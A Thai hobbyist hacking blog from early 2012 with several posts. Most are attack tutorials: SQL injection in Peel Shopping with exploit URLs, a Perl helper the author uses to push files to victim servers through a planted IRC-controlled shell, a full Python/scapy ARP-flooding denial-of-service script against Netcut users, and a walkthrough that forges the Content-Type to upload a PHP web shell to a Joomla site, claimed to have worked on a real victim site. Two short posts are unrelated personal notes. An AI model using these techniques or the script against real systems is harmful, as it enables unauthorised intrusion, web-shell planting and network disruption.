หน้าเว็บ

วันศุกร์ที่ 27 มกราคม พ.ศ. 2555

การหาจุดที่ Bug จาก CMS แบบพื้นฐาน

          สวัสดีครับ ห่างหายไปนานเลยเนื่องจากอยู่ในช่วงสอบจึงไม่ค่อยได้เขียนบล๊อกหรือไม่รู้จะเขียนเรื่องอะไรดี วันนี้เลยจะมานำเสนอพื้นฐานการหา Bug จาก CMS มาให้ดูเป็นตัวอย่างกันครับ

          เนื่องด้วยเว็บที่ผมใช้เช็คว่า CMS ไหนมี Bug อะไรให้ศึกษามีอยู่ประมาณ 3-4 เว็บ แต่ขอยกตัวอย่าง Exploit-DB.com และ 1337day.com นะครับ ซึ้งเราก็จะเห็นว่ามีการประกาศ ก็จะมีโค้ดให้ทราบว่า บัคตรงนั้นนะ มีรูตรงนี้ให้เราเข้าไปซนได้ แต่ถ้าไม่ีมีโค้ดบอกว่า บัคยังไงล่ะ เรามาหาจุดตรงที่มันบัคกันดีกว่าครับ

          บทความนี้ขอยกตัวอย่าง Peel SHOPPING - Version 2.8 and Version 2.9 XSS/SQL Inject Vulnerability ซึ้งถ้าเข้าไปจะเห็นแค่


http://localhost/peel/index.php/achat/recherche.php?motclef=[Xss Here ]&action=Rechercher
http://localhost/peel/administrer/tva.php?mode=modif&id=[SQL]
http://localhost/peel/index.php/[XSS]

          แต่จะไม่มีบอกว่าบัคได้อย่างไร เราก็แค่เข้าไปที่ Software Link ครับ ไปโหลด CMS นี้มาชำแหละโค้ดดูกันครับ บทความนี้ขอยกตัวอย่าง SQL Injection นะครับ


          เรามาดูกันที่ไฟล์ tva.php ที่มีบัคอยู่นะครับจะรู้ได้อย่างไรว่าบัคตรงไหน ถ้าสังเกตุจะเห็น ?mode=modif&id= ตรงนี้ก็เป็นการรับค่า $_GET ในภาษา PHP นั้นเอง ซึ้งใครเป็นก็คงจะร้องอ่อแล้ว เราก็ค้นหาด้วย Keyword modif ก็จะได้เป็น

 case "modif" :
  affiche_formulaire_modif_tva($_GET['id']);
  break;

          จะเห็นว่ามีการเรียกใช้ Function affiche_formulaire_modif_tva อยู่นะครับสังเกตุได้จาก affiche_formulaire_modif_tva($_GET['id']); อย่างที่ผมบอกไว้ตั้งแต่แรกว่ามันเป็นการรับค่า GET นั้นเอง เราก็ค้นว่า affiche_formulaire_modif_tva อยู่ตรงไหน...

function affiche_formulaire_modif_tva(&$id) {
  /* Affiche le formulaire de modification pour le tvas้lectionn้ */

 global $frm;

 /* Charge les informations du produit */
 $qid = mysql_query("
 SELECT *
 FROM peel_tva
 WHERE id = $id
 ");
 
 $frm = mysql_fetch_array($qid);
 
 $frm['nouveau_mode'] = "maj";
 $frm['titre_bouton'] = "Sauvegarder";

 affiche_formulaire_tva();
}

มีการรับค่ามาสังเกตุจาก
$_GET['id'];
และการ Query ตรงนี้
$qid = mysql_query("SELECT * FROM peel_tva WHERE id = $id");
          รับค่ามาโดยตรงโดยไม่มีการป้องกัน SQL Injection เลยจึงเกิดบัค SQL Injection ส่วนวิธีป้องกันและวิธี By Pass ลองหาดูในบล๊อกผมครับ เคยเขียนไว้แล้ว :P

          ขอจบบทความการหาจุดที่ Bug จาก CMS แบบพื้นฐานเพียงแค่นี้ครับ ขอบคุณทุกท่านที่อ่านจนจบ ,, ICheer_No0M

วันจันทร์ที่ 9 มกราคม พ.ศ. 2555

Perl function equivalent of PHP’s AddSlashes()

          เรื่องของเรื่องคือผมต้องการใช้ PHP เขียนไฟล์ PHP อีกทีแต่มันติดพวกอักขระ Escape พวก ' ที่จะต้องเป็น \' นั่นเองเลยหาวิธีแก้อยู่หลักการที่ผมใช้คือใช้ Perl อ่านไฟล์ PHP บนเครื่องผม แล้วไปเขียนบน Server เหยื่อโดยใช้ Shell ที่ผมวางไว้ Control ด้วย Bot IRC นั่นเอง เขียนอยู่สองวันได้ยังไม่สำเร็จเพราะติดตรงนี้จึงถามเขาไปทั่ว 55
         ใช้ค้น Google ลองมั่วอยู่นาน ค้นไปมาลองคีย์เวิร์ด perl addslashes php เอามาลอง Work เลยครับ ผมแก้แค่เพิ่ม $text =~ s/\$/\\\$/g; ตรงนี้เข้าไปเองก็จะได้เป็น..

sub AddSlashes {
    $text = shift;
    $text =~ s/\\/\\\\/g;
    $text =~ s/\$/\\\$/g;
    $text =~ s/'/\'/g;
    $text =~ s/"/\\"/g;
    $text =~ s/\\0/\\\\0/g;
    return $text;
}

วิธีใช้ก็ AddSlashes($values);
คราวนี้ผมจะเขียนไฟล์อะไรในเครื่องผมไปฝังเครื่องเหยื่อผ่าน Shell.php ก็ไม่มีปัญหาแล้วแฮะ :)
ปล.ป๋าเอ็ดบอกทำไมไม่เขียน upload.php ไปทีเดียวล่ะ ?
ตอบป๋า มันไม่เท่ห์ครับ แปวว :P
ทดสอบ IRC Bot ใน Localhost เพราะไม่เคยแฮคจริง *0*



Ref : Perl function equivalent of PHP’s AddSlashes()

วันอาทิตย์ที่ 8 มกราคม พ.ศ. 2555

Amazon ไข่แตกแล้วววว


เริ่มทำ 20 Dec 2011 - 08 Jan 2012 

          เนื่องจากมีพี่ๆแนะนำมา เลยลองทำกับ Blogger อย่างเดียวเลย ใช้ CBlogger เขียนบอท IRC ไปใช้ CBlogger แบบอัตโนมัติ  ปั้นมั่วเลยเพราะไม่รู้เรื่อง Keyword 55



          ไม่คิดว่าไข่จะแตกเพราะหมดหวังแล้ว และไม่ได้ทำต่อเลยตั้งแต่ปีใหม่ มาเห็นแบบนี้ค่อยดีใจ + มีกำลังใจทำต่อ ขอบคุณทุกๆท่านที่ให้คำแนะนำผมครับ สู้ต่อไป  ,, ICheer_No0M


Facebook For Nokia N72

          เรื่องมันมีอยู่ว่าผมอยากจะเล่นเฟสบุคในโทรศัพท์บ้า่ง แต่โทรศัพท์ผมมันเป็นรุ่นเก่าพอควร N72 นั่นเอง ก็เลยหาวิธีที่จะเล่น
         แต่เนื่องจากเล่นใน Browser ของโทรศัพท์นั้นมันก็เข้าได้นะ แต่โพส และอัพรูปไม่ได้ เลยลองหา Opera Mini มาเล่น เมื่อก่อนก็เคยใช้อยู่ ผมลืมไปได้ไงหว่า ลองเอามาทดสอบดูใช้ได้เลย อิิอิ






วันศุกร์ที่ 6 มกราคม พ.ศ. 2555

Netcut 2.0 Denial of Service Vulnerability

#!/usr/bin/env python
#Exploit Title: Netcut Denial of Service Vulnerability
#Author: MaYaSeVeN
#Greetz: Inj3ct0r 1337day Exploit DataBase (1337day.com)
#Blog: http://mayaseven.blogspot.com
#PoC: Video  http://www.youtube.com/user/mayaseven
#Picture http://3.bp.blogspot.com/-GcwpOXx7ers/TwGVoyj8SmI/AAAAAAAAAxs/wSGL1tKGflc/s1600/a.png
#Version: Netcut 2
#Software Link: http://www.mediafire.com/?jiiyq2wcpp41266
#Tested on: Windows Xp, Windows 7
#Greetz :  ZeQ3uL, c1ph3r, x-c0d3, p3lo, Retool2, Gen0TypE, Windows98SE, Sumedt, Rocky Sharma

from scapy.all import sniff,Ether,ARP,RandIP,RandMAC,Padding,sendp,conf
import commands,os,sys

#gw_mac = commands.getoutput("arp -i %s | grep %s" % (conf.iface,conf.iface)).split()[2]
gw_ip  = commands.getoutput("ip route list | grep default").split()[2]
    
def protect(gw_ip,gw_mac):
    os.popen("arp -s %s %s" %(gw_ip,gw_mac))
    print "Protected himself"
    
def detect():
        ans = sniff(filter='arp',timeout=7)
        target=[]
        for r in ans.res:
            target.append(r.sprintf("%ARP.pdst% %ARP.hwsrc% %ARP.psrc%")) 
        return target

def preattack(gw_ip):
    num = []
    count = 0
    target = 0
    temp = 0
    print "Detecting..."
    d = detect()
    for i in range(len(d)):
        if d[i].split()[0] == "255.255.255.255":
            num.append(d.count(d[i])) 
            if d.count(d[i]) > count:
                count = d.count(d[i])
                target = i
        if d[i].split()[0] == gw_ip:
            temp += 1       
    if len(d) < 7:
        print "[-] No one use Netcut or try again"
        exit()
    if len(num)*7 < temp:
        num[:] = []
        count = 0
        result = float(temp)/len(d)*100
        for j in range(len(d)):
            if d[i].split()[0] == gw_ip:
                num.append(d.count(d[j]))
                if d.count(d[i]) > count:
                    count = d.count(d[i])
                    target = i
            num.reverse()
            result = float(temp)/len(d)*100
        print target 
    else:
        num.reverse()
        result = float(num[0]+temp)/len(d)*100
    
    print "There is a possibility that " + str(result) + "%"
    if result>= 50:
        target_mac = d[target].split()[1]
        target_ip = d[target].split()[2]
        print "[+]Detected, Netcut using by IP %s MAC %s" %(target_ip,target_mac)
        attack(target_mac,target_ip,gw_ip)    
    else:
        print "[-] No one use Netcut or try again"

def attack(target_mac,target_ip,gw_ip):
    print "[+]Counter Attack !!!"
    e = Ether(dst="FF:FF:FF:FF:FF:FF")
    while 1:
        a = ARP(psrc=RandIP(),pdst=RandIP(),hwsrc=RandMAC(),hwdst=RandMAC(),op=1)
        p = e/a/Padding("\x00"*18)
        sendp(p,verbose=0)
        a1 = ARP(psrc=gw_ip,pdst=target_ip,hwsrc=RandMAC(),hwdst=target_mac,op=2)
        p1 = e/a1/Padding("\x00"*18)
        sendp(p1,verbose=0)
        
if __name__ == '__main__':
    os.system("clear")
    print   "###################################################"
    print    " __  __    __     __    _____   __      __  _   _"
    print    "|  \/  |   \ \   / /   / ____|  \ \    / / | \ | |"
    print    "| \  / | __ \ \_/ /_ _| (___   __\ \  / /__|  \| |"
    print    "| |\/| |/ _\ \   / _\ |\___ \ / _ \ \/ / _ \ . \ |"
    print    "| |  | | (_| || | (_| |____) |  __/\  /  __/ |\  |"
    print    "|_|  |_|\__,_||_|\__,_|_____/ \___| \/ \___|_| \_|"
    print   " "
    print   "###################################################"
    print   ""
    print   "http://mayaseven.blogspot.com"
    print   ""
    if len(sys.argv) == 2 or len(sys.argv) == 3:
        if len(sys.argv) == 2:
            conf.iface=sys.argv[1]
            preattack(gw_ip)
        if len(sys.argv) == 3:
            conf.iface=sys.argv[1]
            gw_mac = sys.argv[2]
            protect(gw_ip,gw_mac)
            preattack(gw_ip)
    else:
        print '''Mode:   
1.)Attack only
Usage: NetcutKiller <Interface>
e.g. NetcutKiller.py wlan0
        
2.)Attack with protect himself
Usage: NetcutKiller <Interface> <MAC_Gateway> 
e.g. NetcutKiller.py wlan0 00:FA:77:AA:BC:AF 
''' 


# 1337day.com [2012-01-04]
Ref : http://mayaseven.blogspot.com :)

วันอังคารที่ 3 มกราคม พ.ศ. 2555

Simple File Upload v1.3 Joomla Module Remote Code Execution with Live HTTP Headers

          สวัสดีครับ บทความนี้ผมจะมานำเสนอการใช้ Exploit จาก Exploit-db ที่มีการ Report เข้ามาจะยกตัวอย่าง Simple File Upload v1.3 Joomla Module Remote Code Execution ผมจะมาทำแบบมือนวลให้ดูโดยใช้ Add-on ของ Firefox ( Live HTTP Headers ) กันนะครับ เริ่มกันเลยผมจะขอลองใน Localhost นะครับ...


          ขั้นแรกก็เปิด Firefox ไปที่เว็บเป้าหมาย เปิด Add-on Live HTTP Headers แล้วอัพ Shell.php5 ขึ้นไปดูครับ แล้วสังเกตุ Header



          การอัพ Shell ครั้งแรกจะไม่ผ่านเพราะ Content-Type เราไม่ใช่รูป แต่เป็น application/octet-stream ซึ่งแน่นอน อยู่ดีๆมีไฟล์ PHP อัพเข้ามา อันตรายขิงๆ O_O!



         เราก็ต้องทำการแก้จาก application/octet-stream ให้เป็น image/gif เพื่อบงบอกให้รู้ หรือหลอกว่านี่เป็นรูปนะ !!! โดยกด Replay... แล้วแก้เป็น image/gif หรืออื่นๆใน Content-Type ที่เป็นตระกูลรูปทั้งหลายเมื่อแก้เสร็จแล้วก็กด Replay อีกครั้ง Firefox ก็จะำทำงานเหมือน Refresh แต่ไ่ม่ใช่ มันรันซ้ำอีกครั้งแต่  Header ได้ถูกแก้ไปเรียบร้อยแล้ว...




          โอเคแล้วครับ คราวนี้ Shell.php5 ของผมได้มาอยู่ที่ http://localhost/joomla/images/shell.php5 เรียบร้อยแล้ว คราวนี้มาลอง Remote Shell.php5 ดูซักหน่อย ผมขอลองกับเว็บเหยื่อจริงๆนะครับ :P


          หะเหยดดดดดดดดด Work! ครับขอจบบทความ How to Manual Simple File Upload v1.3 Joomla Module Remote Code Execution with Live HTTP Headers ไว้เพียงเท่านี้นะครับ ขอบคุณครับ ,, ICheer_No0M